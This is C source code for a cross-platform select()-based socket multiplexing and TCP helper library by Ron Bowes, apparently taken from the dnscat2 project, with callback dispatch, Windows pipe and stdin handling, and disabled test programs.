369 select_handle_response(group, s, SG_ERROR(group, i)(group, s, getlastsocketerror(SG_SOCKET(group, i)), SG_PARAM(group, i)));
370 else
371 select_group_remove_and_close_socket(group, s);
372 }
373 else if(size == 0)
374 {
375 /* fprintf(stderr, "Closed!\n"); */
376 if(SG_CLOSED(group, i))
377 select_handle_response(group, s, SG_CLOSED(group, i)(group, s, SG_PARAM(group, i)));
378 else
379 select_group_remove_and_close_socket(group, s);
380 }
381 else
382 {
383 /* Send the recv()'d data to the callback, handling the response appropriately. */
384 if(SG_RECV(group, i))
385 select_handle_response(group, s, SG_RECV(group, i)(group, s, buffer, size, NULL, -1, SG_PARAM(group, i)));
386 }
387 }
388 else
389 {
390 /* It's a datagram socket, so use recvfrom. */
391 struct sockaddr_in addr;
392 socklen_t addr_size = sizeof(struct sockaddr_in);
393 ssize_t size;
394
395 memset(&addr, 0, sizeof(struct sockaddr_in));
396 size = recvfrom(s, buffer, MAX_RECV, 0, (struct sockaddr *)&addr, &addr_size);
397
398 /* Handle error conditions. */
399 if(size < 0 || size == (size_t)-1)
400 {
401 if(SG_ERROR(group, i))
402 select_handle_response(group, s, SG_ERROR(group, i)(group, s, getlastsocketerror(SG_SOCKET(group, i)), SG_PARAM(group, i)));
403 else
404 select_group_remove_and_close_socket(group, s);
405 }
406 else if(size == 0)
407 {
408 if(SG_CLOSED(group, i))
409 select_handle_response(group, s, SG_CLOSED(group, i)(group, s, SG_PARAM(group, i)));
410 else
411 select_group_remove_and_close_socket(group, s);
412 }
413 else
414 {
415 /* Send the recv()'d data to the callback, handling the response appropriately. */
416 if(SG_RECV(group, i))
417 select_handle_response(group, s, SG_RECV(group, i)(group, s, buffer, size, inet_ntoa(addr.sin_addr), ntohs(addr.sin_port), SG_PARAM(group, i)));
418 }
419 }
420 }
421 }
422
423 static void handle_incoming_connection(select_group_t *group, size_t i)
424 {
425 int s = SG_SOCKET(group, i);
426
427 if(SG_LISTEN(group, i))
428 select_handle_response(group, s, SG_LISTEN(group, i)(group, s, SG_PARAM(group, i)));
429 }
430
431 void select_group_do_select(select_group_t *group, int timeout_ms)
432 {
433 fd_set read_set;
434 fd_set write_set;
435 fd_set error_set;
436 int select_return;
437 size_t i;
438 struct timeval select_timeout;
439
440 #ifdef WIN32
441 size_t count = 0;
442 #endif
443
444 /* Always time out after an interval (like Ncat does) -- this lets us poll for non-Internet sockets on Windows. */
445 #ifdef WIN32
446 select_timeout.tv_sec = 0;
447 select_timeout.tv_usec = TIMEOUT_INTERVAL * 1000;
448 #else
449 select_timeout.tv_sec = timeout_ms / 1000;
450 select_timeout.tv_usec = (timeout_ms % 1000) * 1000;
451 #endif
452
453 /* Clear the current socket set */
454 FD_ZERO(&read_set);
455 FD_ZERO(&write_set);
456 FD_ZERO(&error_set);
457
458 /* Crawl over the list, adding the sockets. */
459 for(i = 0; i < group->current_size; i++)
460 {
461 #ifdef WIN32
462 /* On Windows, don't add pipes. */
463 if(SG_IS_ACTIVE(group, i) && SG_TYPE(group, i) != SOCKET_TYPE_PIPE)
464 {
465 FD_SET(SG_SOCKET(group, i), &read_set);
466 if(!SG_IS_READY(group, i))
467 FD_SET(SG_SOCKET(group, i), &write_set);
468
469 FD_SET(SG_SOCKET(group, i), &error_set);
470
471 /* Count is only used to check if there are any sockets in the set; if
472 * there aren't, then sleep() is used instead of select(). */
473 count++;
474 }
475 #else
476 if(SG_IS_ACTIVE(group, i))
477 {
478 FD_SET(SG_SOCKET(group, i), &read_set);
479 if(!SG_IS_READY(group, i))
480 FD_SET(SG_SOCKET(group, i), &write_set);
481
482 FD_SET(SG_SOCKET(group, i), &error_set);
483 }
484 #endif
485 }
486
487 #ifdef WIN32
488 /* If no sockets are added, then use the Sleep() function here. */
489 if(count == 0)
490 Sleep(TIMEOUT_INTERVAL);
491 else
492 select_return = select(group->biggest_socket + 1, &read_set, &write_set, &error_set, &select_timeout);
493 #else
494 select_return = select(group->biggest_socket + 1, &read_set, &write_set, &error_set, timeout_ms < 0 ? NULL : &select_timeout);
495 #endif
496 /* fprintf(stderr, "Select returned %d\n", select_return); */
497
498 if(select_return == -1)
499 nbdie("select_group: couldn't select()");
500
501 #ifdef WIN32
502 /* Handle pipes on every run, whether it's a timeout or data arrived. */
503 for(i = 0; i < group->current_size; i++)
504 {
505 if(SG_IS_ACTIVE(group, i) && SG_TYPE(group, i) == SOCKET_TYPE_PIPE)
506 {
507 /* Check if the handle is ready. */
508 DWORD n;
509
510 /* See if there's any data in the pipe. */
511 BOOL result = PeekNamedPipe(SG_PIPE(group, i), NULL, 0, NULL, &n, NULL);
512
513 /* If there is, call the incoming_data function. */
514 if(result)
515 {
516 if(n > 0)
517 handle_incoming_data(group, i);
518 }
519 else
520 {
521 int s = SG_SOCKET(group, i);
522
523 if(GetLastError() == ERROR_BROKEN_PIPE) /* Pipe closed */
524 {
525 if(SG_CLOSED(group, i))
526 select_handle_response(group, s, SG_CLOSED(group, i)(group, s, SG_PARAM(group, i)));
527 else
528 select_group_remove_and_close_socket(group, s);
529 }
530 else
531 {
532 if(SG_ERROR(group, i))
533 select_handle_response(group, s, SG_ERROR(group, i)(group, s, getlastsocketerror(SG_SOCKET(group, i)), SG_PARAM(group, i)));
534 else
535 select_group_remove_and_close_socket(group, s);
536 }
537 }
538 }
539 }
540 #endif
541
542 /* select_return is 0 when there's a timeout -- but because there's a timeout
543 * callback, we have to check if we crossed it. */
544 if(select_return == 0)
545 {
546 if(timeout_ms >= 0)
547 {
548 #ifdef WIN32
549 /* On Windows, check if we've overflowed our elapsed time. */
550 if((group->elapsed_time / timeout_ms) != ((group->elapsed_time + TIMEOUT_INTERVAL) / timeout_ms))
551 {
552 /* Timeout elapsed with no events, inform the callbacks. */
553 if(group->timeout_callback)
554 group->timeout_callback(group, group->timeout_param);
555 }
556
557 /* Increment the elapsed time. We don't really care if this overflows. */
558 group->elapsed_time = (group->elapsed_time + TIMEOUT_INTERVAL);
559 #else
560 /* Timeout elapsed with no events, inform the callbacks. */
561 if(group->timeout_callback)
562 group->timeout_callback(group, group->timeout_param);
563 #endif
564 }
565 }
566 else
567 {
568 /* Loop through the sockets to find the one that had activity. */
569 for(i = 0; i < group->current_size; i++)
570 {
571 /* If the socket is active and it has data waiting to be read, process it. */
572 if(SG_IS_ACTIVE(group, i) && FD_ISSET(SG_SOCKET(group, i), &read_set))
573 {
574 if(SG_TYPE(group, i) == SOCKET_TYPE_LISTEN)
575 {
576 handle_incoming_connection(group, i);
577 }
578 else
579 {
580 handle_incoming_data(group, i);
581 }
582 }
583
584 /* If the socket became writable, update as appropriate. */
585 if(SG_IS_ACTIVE(group, i) && FD_ISSET(SG_SOCKET(group, i), &write_set))
586 {
587 /* Call the connect callback. */
588 if(SG_READY(group, i))
589 select_handle_response(group, SG_SOCKET(group, i), SG_READY(group, i)(group, SG_SOCKET(group, i), SG_PARAM(group, i)));
590
591 /* Mark the socket as ready. */
592 SG_IS_READY(group, i) = TRUE;
593 }
594
595 /* If there's an error, handle it. */
596 if(SG_IS_ACTIVE(group, i) && FD_ISSET(SG_SOCKET(group, i), &error_set))
597 {
598 /* If there's no handler defined, default to closing and removing the
599 * socket. */
600 if(SG_ERROR(group, i))
601 select_handle_response(group, SG_SOCKET(group, i), SG_ERROR(group, i)(group, SG_SOCKET(group, i), getlastsocketerror(SG_SOCKET(group, i)), SG_PARAM(group, i)));
602 else
603 select_handle_response(group, SG_SOCKET(group, i), SELECT_CLOSE_REMOVE);
604 }
605 }
606 }
607 }
608
609 NBBOOL select_group_wait_for_bytes(select_group_t *group, int s, size_t bytes)
610 {
611 select_t *socket = find_select_by_socket(group, s);
612
613 if(bytes > MAX_RECV)
614 DIE("Tried to wait for too many bytes at once.");
615
616 if(socket)
617 {
618 if(socket->type != SOCKET_TYPE_STREAM)
619 DIE("Tried to buffer bytes on the wrong type of socket");
620
621 /* Already waiting, free bytes. */
622 if(socket->waiting_for)
623 safe_free(socket->buffer);
624
625 socket->buffer = safe_malloc(sizeof(uint8_t) * bytes);
626 socket->waiting_for = bytes;
627 socket->buffered = 0;
628 }
629
630 return (socket ? TRUE : FALSE);
631 }
632
633
634 size_t select_group_get_active_count(select_group_t *group)
635 {
636 size_t i;
637 size_t count = 0;
638
639 for(i = 0; i < group->current_size; i++)
640 {
641 if(SG_IS_ACTIVE(group, i))
642 count++;
643 }
644
645 return count;
646 }
647
648 #ifdef WIN32
649 typedef struct
650 {
651 HANDLE stdin_read; /* Probably don't need this, but whatever. */
652 HANDLE stdin_write;
653 } stdin_thread_param;
654
655 static DWORD WINAPI stdin_thread(void *param)
656 {
657 char buffer[1024];
658 DWORD bytes_read;
659 DWORD bytes_written;
660 HANDLE stdin_write = ((stdin_thread_param*)param)->stdin_write;
661
662 /* Don't need the param anymore. */
663 safe_free(param);
664
665 while(1)
666 {
667 int i = 0;
668
669 do
670 {
671 if(!ReadFile(GetStdHandle(STD_INPUT_HANDLE), buffer, 1024, &bytes_read, NULL))
672 {
673 fprintf(stderr, "No more data from stdin\n");
674 CloseHandle(stdin_write);
675 return 0;
676 }
677
678 if(!WriteFile(stdin_write, buffer, bytes_read, &bytes_written, NULL))
679 nbdie("stdin: Couldn't write to stdin pipe");
680
681 } while(1);
682 }
683
684 return 0;
685 }
686
687 HANDLE get_stdin_handle()
688 {
689 HANDLE stdin_read;
690 HANDLE stdin_write;
691 HANDLE new_thread;
692 stdin_thread_param *param = (stdin_thread_param*) safe_malloc(sizeof(stdin_thread_param));
693 static HANDLE handle = NULL;
694
695 /* Check if we already have the handle open. */
696 if(handle)
697 return handle;
698
699 CreatePipe(&stdin_read, &stdin_write, NULL, 0);
700 param->stdin_read = stdin_read;
701 param->stdin_write = stdin_write;
702
703 /* Create the new stdin thread. */
704 new_thread = CreateThread(NULL, 0, stdin_thread, param, 0, NULL);
705
706 if(!new_thread)
707 nbdie("stdin: Couldn't create thread");
708
709 /* This will let us reference this file later, if this function is called again. */
710 handle = stdin_read;
711
712 /* Return the fake stdin. */
713 return stdin_read;
714 }
715 #endif
716
717 #if 0
718 #include <stdio.h>
719 /*#define _POSIX_C_SOURCE*/
720 #include "udp.h"
721 #include "tcp.h"
722 SELECT_RESPONSE_t test_timeout(void *group, int s, void *param)
723 {
724 printf("Timeout called for socket %d\n", s);
725
726 return SELECT_OK;
727 }
728
729 SELECT_RESPONSE_t test_recv(void *group, int s, uint8_t *data, size_t length, char *addr, uint16_t port, void *param)
730 {
731 int i;
732
733 if(addr)
734 printf("Socket %d received %d bytes from %s:%d\n", s, length, addr, port);
735
736 if(data[0] == 'q')
737 return SELECT_REMOVE;
738 else if(data[0] == 'x')
739 return SELECT_CLOSE_REMOVE;
740 else if(data[0] == 'c')
741 close(s);
742
743 for(i = 0; i < length; i++)
744 {
745 printf("%c", data[i] < 0x20 ? '.' : data[i]);
746 }
747 printf("\n");
748
749 return SELECT_OK;
750 }
751
752 SELECT_RESPONSE_t test_error(void *group, int s, int err, void *param)
753 {
754 fprintf(stderr, "Error in socket %d: %s\n", s, strerror(err));
755 return SELECT_CLOSE_REMOVE;
756 }
757
758 SELECT_RESPONSE_t test_closed(void *group, int s, void *param)
759 {
760 printf("Socket %d: connection closed.\n", s);
761 return SELECT_CLOSE_REMOVE;
762 }
763
764 SELECT_RESPONSE_t test_listen(void *group, int s, void *param)
765 {
766 char *address;
767 uint16_t port;
768 int new = tcp_accept(s, &address, &port);
769
770 printf("Accepting connection from %s:%d\n", address, port);
771
772 select_group_add_socket(group, new, SOCKET_TYPE_STREAM, NULL);
773 select_set_recv(group, new, test_recv);
774 select_set_error(group, new, test_error);
775 /* select_set_closed(group, new, test_closed); */
776
777 return SELECT_OK;
778 }
779
780 int main(int argc, char **argv)
781 {
782 select_group_t *group;
783
784 int udp = udp_create_socket(2222, "0.0.0.0");
785 int tcp = tcp_connect("www.google.ca", 80);
786 int listen = tcp_listen("0.0.0.0", 4444);
787
788 char *test = "GET / HTTP/1.0\r\nHost: www.google.com\r\n\r\n";
789
790 printf("Listening on udp/2222\n");
791 printf("Connecting to Google on tcp/80\n");
792 printf("Listening on tcp/4444\n\n");
793
794 /* Check if everything was created right. */
795 if(udp < 0)
796 {
797 printf("UDP socket failed to create!\n");
798 exit(1);
799 }
800 if(tcp < 0)
801 {
802 printf("TCP socket failed to create!\n");
803 exit(1);
804 }
805 if(listen < 0)
806 {
807 printf("Listen socket failed to create!\n");
808 exit(1);
809 }
810
811 tcp_send(tcp, test, strlen(test));
812
813 group = select_group_create();
814 select_group_add_socket(group, udp, SOCKET_TYPE_DATAGRAM, NULL);
815 select_group_add_socket(group, tcp, SOCKET_TYPE_STREAM, NULL);
816 select_group_add_socket(group, listen, SOCKET_TYPE_LISTEN, NULL);
817 select_group_add_socket(group, STDIN_FILENO, SOCKET_TYPE_STREAM, NULL);
818
819 select_set_recv(group, udp, test_recv);
820 select_set_recv(group, tcp, test_recv);
821 select_set_recv(group, STDIN_FILENO, test_recv);
822
823 select_set_listen(group, listen, test_listen);
824
825 select_set_error(group, udp, test_error);
826 select_set_error(group, tcp, test_error);
827 select_set_error(group, listen, test_error);
828 select_set_error(group, STDIN_FILENO, test_error);
829
830 select_set_closed(group, udp, test_closed);
831 select_set_closed(group, tcp, test_closed);
832 select_set_closed(group, listen, test_closed);
833 select_set_closed(group, STDIN_FILENO, test_closed);
834
835 select_group_wait_for_bytes(group, tcp, 25);
836
837 while(1)
838 {
839 select_group_do_select(group, -1, -1);
840 }
841
842 select_group_destroy(group);
843
844 return 0;
845 }
846 #endif
0 /* select_group.h
1 * By Ron Bowes
2 * Created August, 2008
3 *
4 * (See LICENSE.md)
5 *
6 * This module implements a simple interface to the select() function that
7 * works across Windows, Linux, BSD, and Mac. Any (reasonable) number of
8 * sockets can be added and when any one of them has data, callbacks are used
9 * to notify the main program.
10 *
11 * This library is single-threaded (except on Windows.. I'll get to that). I've
12 * compiled and tested it on Linux, FreeBSD, Mac, and Windows, and it works
13 * beautifully on all of them. On any of those platforms it can select just
14 * fine on stream sockets, datagram sockets, listeners, and pipes (including
15 * stdin on Windows).
16 *
17 * Windows support for pipes is a special case. Because Windows can't select()
18 * on a pipe or HANDLE, I had to implement some special code. Basically, it
19 * polls -- instead of adding pipes to the select(), it times out the select
20 * after a set amount of time (right now, it's 100ms). That means that every
21 * 100ms, select() returns and checks if any input is waiting on the pipes. Not
22 * the greatest solution, but it isn't the greatest OS for networking stuff.
23 *
24 * Even worse, stdin is a special case. stdin can be read through a pipe, so
25 * the polling code works great -- except that Windows won't echo types
26 * characters unless stdin is being actively read. Rather than introducing a
27 * 100ms-delay to everything types, that would probably make me even more
28 * crazy, I created the Windows-specific function get_stdin_handle(). The first
29 * time it's called, it creates a thread that reads from stdin and writes to a
30 * pipe. That pipe can be added to select() and everything else works the same.
31 * It's an ugly hack, I know, but when writing Ncat (http://nmap.org/ncat)
32 * David Fifield came up with the same solution. Apparently, it's the best
33 * we've got.
34 */
35
36
37 #ifndef __SELECT_GROUP_H__
38 #define __SELECT_GROUP_H__
39
40 /* Updates for dnscat2 */
41 #define SELECT_GROUP_VERSION "1.01"
42
43 #include <stdlib.h>
44
45 #ifdef WIN32
46 #include <winsock2.h>
47 #else
48 #endif
49
50 #include "types.h"
51
52 /* The maximum number of possible sockets (huge number, but I want to prevent overflows). Note that this is
53 * sort of a range, because the number of sockets are doubled each time. So it's between 32768 and 65536. */
54 #define SOCKET_LIST_MAX_SOCKETS (65536/2)
55
56 /* The time, in milliseconds, between select() timing out and polling for pipe data (on Windows). */
57 #ifdef WIN32
58 #define TIMEOUT_INTERVAL 100
59 #endif
60
61 /* Different types of sockets, which will affect different aspects. */
62 typedef enum
63 {
64 /* No special treatment (anything can technically use this one). */
65 SOCKET_TYPE_STREAM,
66
67 /* Uses recvfrom() and passes along the socket address). */
68 SOCKET_TYPE_DATAGRAM,
69
70 /* Listening implies a stream. */
71 SOCKET_TYPE_LISTEN,
72 #ifdef WIN32
73 /* For use on Windows, only, is handled separately. */
74 SOCKET_TYPE_PIPE
75 #endif
76 } SOCKET_TYPE_t;
77
78 /* Possible return values from callback functions. */
79 typedef enum
80 {
81 SELECT_OK, /* Everything went well. */
82 SELECT_REMOVE, /* Remove the socket from the list. */
83 SELECT_CLOSE_REMOVE, /* Close the socket and remove it from the list. */
84 } SELECT_RESPONSE_t;
85
86 /* Define callback function types. I have to make the first parameter 'void*' because the struct hasn't been defined
87 * yet, and the struct requires these typedefs to be in place. */
88 typedef SELECT_RESPONSE_t(select_ready)(void *group, int s, void *param);
89 /* 'addr' will only be filled in for datagram requests. */
90 typedef SELECT_RESPONSE_t(select_recv)(void *group, int s, uint8_t *data, size_t length, char *addr, uint16_t port, void *param);
91 typedef SELECT_RESPONSE_t(select_listen)(void *group, int s, void *param);
92 typedef SELECT_RESPONSE_t(select_error)(void *group, int s, int err, void *param);
93 typedef SELECT_RESPONSE_t(select_closed)(void *group, int s, void *param);
94 typedef SELECT_RESPONSE_t(select_timeout)(void *group, void *param);
95
96 /* This struct is for internal use. */
97 typedef struct
98 {
99 /* The socket. */
100 int s;
101 #ifdef WIN32
102 /* A pipe (used for Windows' named pipes. */
103 HANDLE pipe;
104 #endif
105 /* Datagram, stream, etc. */
106 SOCKET_TYPE_t type;
107
108 /* The function to call when the socket is ready for data. */
109 select_ready *ready_callback;
110
111 /* The function to call when data arrives. */
112 select_recv *recv_callback;
113
114 /* The function to call when a connection arrives. */
115 select_listen *listen_callback;
116
117 /* The function to call when there's an error. */
118 select_error *error_callback;
119
120 /* The function to call when the connection is closed. */
121 select_closed *closed_callback;
122
123 /* The number of bytes being waited on. If set to 0, will trigger on all
124 * incoming data. */
125 size_t waiting_for;
126
127 /* The buffer that holds the current bytes. */
128 uint8_t *buffer;
129
130 /* The number of bytes currently stored in the buffer. */
131 size_t buffered;
132
133 /* This is set after the socket has received the signal that it's ready to
134 * receive data. */
135 NBBOOL ready;
136
137 /* Set to 'false' when the socket is 'deleted'. It's easier than physically
138 * removing it from the list, so until I implement something heavy weight
139 * this will work. */
140 NBBOOL active;
141
142 /* Stores a piece of arbitrary data that's sent to the callbacks. */
143 void *param;
144 } select_t;
145
146 /* This is the primary struct for this module. */
147 typedef struct
148 {
149 /* A list of the select_t objects. */
150 select_t **select_list;
151
152 /* The current number of "select_t"s in the list. */
153 size_t current_size;
154
155 /* The maximum number of "select_t"s in the list before realloc() has to expand it. */
156 size_t maximum_size;
157 #ifdef WIN32
158 /* The number of milliseconds that have elapsed; used for timeouts. */
159 uint32_t elapsed_time;
160 #endif
161
162 /* The handle to the highest-numbered socket in the list (required for select() call). */
163 int biggest_socket;
164
165 /* The function to call when the timeout time expires. */
166 select_timeout *timeout_callback;
167
168 /* A parameter that is passed to the callback function. */
169 void *timeout_param;
170 } select_group_t;
171
172 /* Allocate memory for a select group */
173 select_group_t *select_group_create();
174
175 /* Destroy and cleanup the group. */
176 void select_group_destroy(select_group_t *group);
177
178 /* Add a socket to the group. */
179 void select_group_add_socket(select_group_t *group, int s, SOCKET_TYPE_t type, void *param);
180
181 #ifdef WIN32
182 /* Add a pipe to the group. The 'identifier' is treated as a socket and is used in place of a socket
183 * to look up the pipe. */
184 void select_group_add_pipe(select_group_t *group, int identifier, HANDLE pipe, void *param);
185 #endif
186
187 /* Set a callback that's called when the socket becomes ready to send data. */
188 select_ready *select_set_ready(select_group_t *group, int s, select_ready *callback);
189
190 /* Set the recv() callback. This will return with as much data as comes in, or with the number of bytes set by
191 * set_group_wait_for_bytes(), if that's set. Returns the old callback, if set. */
192 select_recv *select_set_recv(select_group_t *group, int s, select_recv *callback);
193
194 /* Set the listen() callback for incoming connections. It's up to the callback to perform the accept() to
195 * get the new socket. */
196 select_listen *select_set_listen(select_group_t *group, int s, select_listen *callback);
197
198 /* Set the error callback, for socket errors. If SELECT_OK is returned, it assumes the error's been handled
199 * and will continue to select() on the socket. In almost every case, SELECT_OK is the wrong thing to return.
200 * If this isn't defined, the socket is automatically closed/removed. */
201 select_error *select_set_error(select_group_t *group, int s, select_error *callback);
202
203 /* Set the closed callback. This is called when the connection is gracefully terminated. Like with errors,
204 * SELECT_OK is probably not what you want. If this isn't handled, the socket is automatically removed from
205 * the list. */
206 select_closed *select_set_closed(select_group_t *group, int s, select_closed *callback);
207
208 /* Set the timeout callback, for when the time specified in select_group_do_select() elapses. */
209 select_timeout *select_set_timeout(select_group_t *group, select_timeout *callback, void *param);
210
211 /* Remove a socket from the group. Returns non-zero if successful. */
212 NBBOOL select_group_remove_socket(select_group_t *group, int s);
213
214 /* Remove a socket from the group, and close it. */
215 NBBOOL select_group_remove_and_close_socket(select_group_t *group, int s);
216
217 /* Perform the select() call across the various sockets. with the given timeout in milliseconds.
218 * Note that the timeout (and therefore the timeout callback) only fires if _every_ socket is idle.
219 * If timeout_ms < 0, it will block indefinitely (till data arrives on any socket). Because of polling,
220 * on Windows, timeout_ms actually has a resolution defined by TIMEOUT_INTERVAL. */
221 void select_group_do_select(select_group_t *group, int timeout_ms);
222
223 /* Wait for the given number of bytes to arrive on the socket, rather than any number of bytes. This doesn't
224 * work for datagram sockets.
225 * Note: any data already queued up will be whacked. */
226 NBBOOL select_group_wait_for_bytes(select_group_t *group, int s, size_t bytes);
227
228 /* Check how many active sockets are left. */
229 size_t select_group_get_active_count(select_group_t *group);
230
231 #ifdef WIN32
232 /* Get a handle to stdin. This handle can be added to a select_group as a pipe. Behind the scenes,
233 * it uses a thread. Don't ask. */
234 HANDLE get_stdin_handle();
235 #endif
236
237 #endif
0 /* tcp.c
1 * By Ron
2 * Created August, 2008
3 *
4 * (See LICENSE.md)
5 */
6
7 #include <stdio.h>
8 #include <string.h>
9
10 #ifdef WIN32
11 #include <winsock2.h>
12 #else
13 #include <errno.h>
14 #include <fcntl.h>
15 #include <netdb.h>
16 #include <unistd.h>
17 #include <arpa/inet.h>
18 #include <netinet/in.h>
19 #include <sys/socket.h>
20 #include <sys/types.h>
21 #endif
22
23 #include "tcp.h"
24
25 void winsock_initialize()
26 {
27 #ifdef WIN32
28 WORD wVersionRequested = MAKEWORD(2, 2);
29 WSADATA wsaData;
30
31 int error = WSAStartup(wVersionRequested, &wsaData);
32
33 switch(error)
34 {
35 case WSASYSNOTREADY:
36 fprintf(stderr, "The underlying network subsystem is not ready for network communication.\n");
37 exit(1);
38 break;
39
40 case WSAVERNOTSUPPORTED:
41 fprintf(stderr, "The version of Windows Sockets support requested is not provided by this particular Windows Sockets implementation.\n");
42 exit(1);
43 break;
44
45 case WSAEINPROGRESS:
46 fprintf(stderr, "A blocking Windows Sockets 1.1 operation is in progress.\n");
47 exit(1);
48 break;
49
50 case WSAEPROCLIM:
51 fprintf(stderr, "A limit on the number of tasks supported by the Windows Sockets implementation has been reached.\n");
52 exit(1);
53 break;
54
55 case WSAEFAULT:
56 fprintf(stderr, "The lpWSAData parameter is not a valid pointer.\n");
57 exit(1);
58 break;
59 }
60 #endif
61 }
62
63 int tcp_connect_options(char *host, uint16_t port, int non_blocking)
64 {
65 struct sockaddr_in serv_addr;
66 struct hostent *server;
67 int s;
68 int status;
69
70 /* Create the socket */
71 s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
72
73 if (s == -1)
74 nbdie("tcp: couldn't create socket");
75
76 if(non_blocking)
77 {
78 #ifdef WIN32
79 unsigned long mode = 1;
80 ioctlsocket(s, FIONBIO, &mode);
81 #else
82 int flags = fcntl(s, F_GETFL, 0);
83 flags = flags | O_NONBLOCK;
84 fcntl(s, F_SETFL, flags);
85 #endif
86 }
87
88 /* Look up the host */
89 server = gethostbyname(host);
90 if(!server)
91 {
92 fprintf(stderr, "Couldn't find host %s\n", host);
93 return -1;
94 }
95
96 /* Set up the server address */
97 memset(&serv_addr, '\0', sizeof(serv_addr));
98 serv_addr.sin_family = AF_INET;
99 serv_addr.sin_port = htons(port);
100 memcpy(&serv_addr.sin_addr, server->h_addr_list[0], server->h_length);
101
102 /* Connect */
103 status = connect(s, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
104
105 #ifdef WIN32
106 if(status < 0 && GetLastError() != WSAEWOULDBLOCK)
107 #else
108 if(status < 0 && errno != EINPROGRESS)
109 #endif
110 {
111 nberror("tcp: couldn't connect to host");
112
113 return -1;
114 }
115
116 return s;
117 }
118
119 int tcp_connect(char *host, uint16_t port)
120 {
121 return tcp_connect_options(host, port, 0);
122 }
123
124 void tcp_set_nonblocking(int s)
125 {
126 #ifdef WIN32
127 /* TODO: This */
128 fprintf(stderr, "Don't know how to do nonblocking on Windows\n");
129 exit(1);
130 #else
131 fcntl(s, F_SETFL, O_NONBLOCK);
132 #endif
133 }
134
135 int tcp_listen(char *address, uint16_t port)
136 {
137 int s;
138 struct sockaddr_in serv_addr;
139
140 /* Get the server address */
141 memset((char *) &serv_addr, '\0', sizeof(serv_addr));
142 serv_addr.sin_family = AF_INET;
143 serv_addr.sin_addr.s_addr = inet_addr(address);
144 serv_addr.sin_port = htons(port);
145
146 if(serv_addr.sin_addr.s_addr == INADDR_NONE)
147 nbdie("tcp: couldn't parse local address");
148
149 /* Create a socket */
150 s = socket(AF_INET, SOCK_STREAM, 0);
151 if(s < 0)
152 {
153 nbdie("tcp: couldn't create socket");
154 }
155 else
156 {
157 /* Bind the socket */
158 if (bind(s, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
159 nbdie("tcp: couldn't bind to socket");
160
161 /* Switch the socket to listen mode. TODO: why 20? */
162 if(listen(s, 20) < 0)
163 nbdie("tcp: couldn't listen on socket");
164 }
165
166 return s;
167 }
168
169 int tcp_accept(int listen, char **address, uint16_t *port)
170 {
171 struct sockaddr_in addr;
172 socklen_t sockaddr_len = sizeof(struct sockaddr_in);
173 int s;
174
175 s = accept(listen, (struct sockaddr *) &addr, &sockaddr_len);
176
177 if(s < 0)
178 nbdie("tcp: couldn't accept connection");
179
180 *address = inet_ntoa(addr.sin_addr);
181 *port = ntohs(addr.sin_port);
182
183 return s;
184 }
185
186 ssize_t tcp_send(int s, void *data, size_t length)
187 {
188 return send(s, data, length, 0);
189 }
190
191 ssize_t tcp_recv(int s, void *buffer, size_t buffer_length)
192 {
193 return recv(s, buffer, buffer_length, 0);
194 }
195
196 int tcp_close(int s)
197 {
198 #ifdef WIN32
199 return closesocket(s);
200 #else
201 return close(s);
202 #endif
203 }
204
205 #if 0
206 int main(int argc, char *argv[])
207 {
208 char buffer[1024];
209 int s;
210 int listener;
211 struct sockaddr_in addr;
212 int port;
213 size_t len;
214
215 memset(buffer, 0, 1024);
216
217 winsock_initialize();
218
219 s = tcp_connect("www.google.ca", 80);
220 if(s < 0)
221 DIE("Fail");
222 tcp_send(s, "GET / HTTP/1.0\r\nHost: www.google.com\r\n\r\n", 41);
223 tcp_recv(s, buffer, 1024);
224 tcp_close(s);
225
226 printf("%s\n", buffer);
227
228 printf("Listening on TCP/6666\n");
229 listener = tcp_listen("0.0.0.0", 6666);
230 s = tcp_accept(listener, &addr, &port);
231
232 if(s < 0)
233 DIE("Fail");
234
235 printf("Connection accepted from %s:%d\n", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));
236
237 memset(buffer, 0, 1024);
238 strcpy(buffer, "HELLO!");
239 len = 7;
240 while(len > 0 && tcp_send(s, buffer, len) >= 0)
241 {
242 memset(buffer, 0, 1024);
243 len = tcp_recv(s, buffer, 1024);
244 printf("Received: %s [%d]\n", buffer, len);
245 }
246
247 printf("%s\n", buffer);
248 return 1;
249 }
250 #endif
0 /* tcp.h
1 * By Ron
2 * Created August, 2008
3 *
4 * (See LICENSE.md)
5 *
6 * Platform-independent module for creating/sending TCP sockets for IPv4 TCP
7 * connections.
8 */
9
10 #ifndef __TCP_H__
11 #define __TCP_H__
12
13 #include "types.h"
14
15 /* Must be called before any other functions. */
16 void winsock_initialize();
17
18 /* Connect to the remote server on the given port. Prints an error to the screen and
19 * returns -1 if it fails; otherwise, returns the new socket. */
20 int tcp_connect(char *host, uint16_t port);
21
22 /* The same as tcp_connect, except it lets the user choose a non-blocking
23 * socket. */
24 int tcp_connect_options(char *host, uint16_t port, int non_blocking);
25
26 /* Set a socket as non-blocking. */
27 void tcp_set_nonblocking(int s);
28
29 /* Puts a socket into listening mode on the given address (use '0.0.0.0' for any).
30 * Returns -1 on an error, or the socket if successful. */
31 int tcp_listen(char *address, uint16_t port);
32
33 /* Accepts a connection on a listening socket. Returns the new socket if successful
34 * or -1 if fails. */
35 int tcp_accept(int listen, char **address, uint16_t *port);
36
37 /* Send data over the socket. Can use built-in IO functions, too. */
38 ssize_t tcp_send(int s, void *data, size_t length);
39
40 /* Receive data from the socket. Can use built-in IO functions, too. */
41 ssize_t tcp_recv(int s, void *buffer, size_t buffer_length);
42
43 /* Close the socket. */
44 int tcp_close(int s);
45
46 #endif
0 /* types.c
1 * By Ron Bowes
2 * Created September 1, 2008
3 *
4 * (See LICENSE.md)
5 */
6
7 #include <ctype.h>
8 #include <errno.h>
9 #include <stdio.h>
10 #include <stdlib.h>
11 #include <string.h>
12
13 #ifdef WIN32
14 #include <winsock2.h>
15 #else
16 #include <pwd.h> /* Required for dropping privileges. */
17 #include <unistd.h>
18 #endif
19
20 #include "log.h"
21 #include "memory.h"
22 #include "types.h"
23
24 void drop_privileges(char *username)
25 {
26 #ifdef WIN32
27 fprintf(stderr, "Skipping privilege drop since we're on Windows.\n");
28 #else
29 /* Drop privileges. */
30 if(getuid() == 0)
31 {
32 /* Get the user id for the given user. */
33 struct passwd *user = getpwnam(username);
34
35 if(!user)
36 {
37 fprintf(stderr, "Error: couldn't drop privileges to '%s': user not found. Please create the\n", username);
38 fprintf(stderr, "user or specify a better one with -u.\n");
39 }
40 else if(user->pw_uid == 0)
41 {
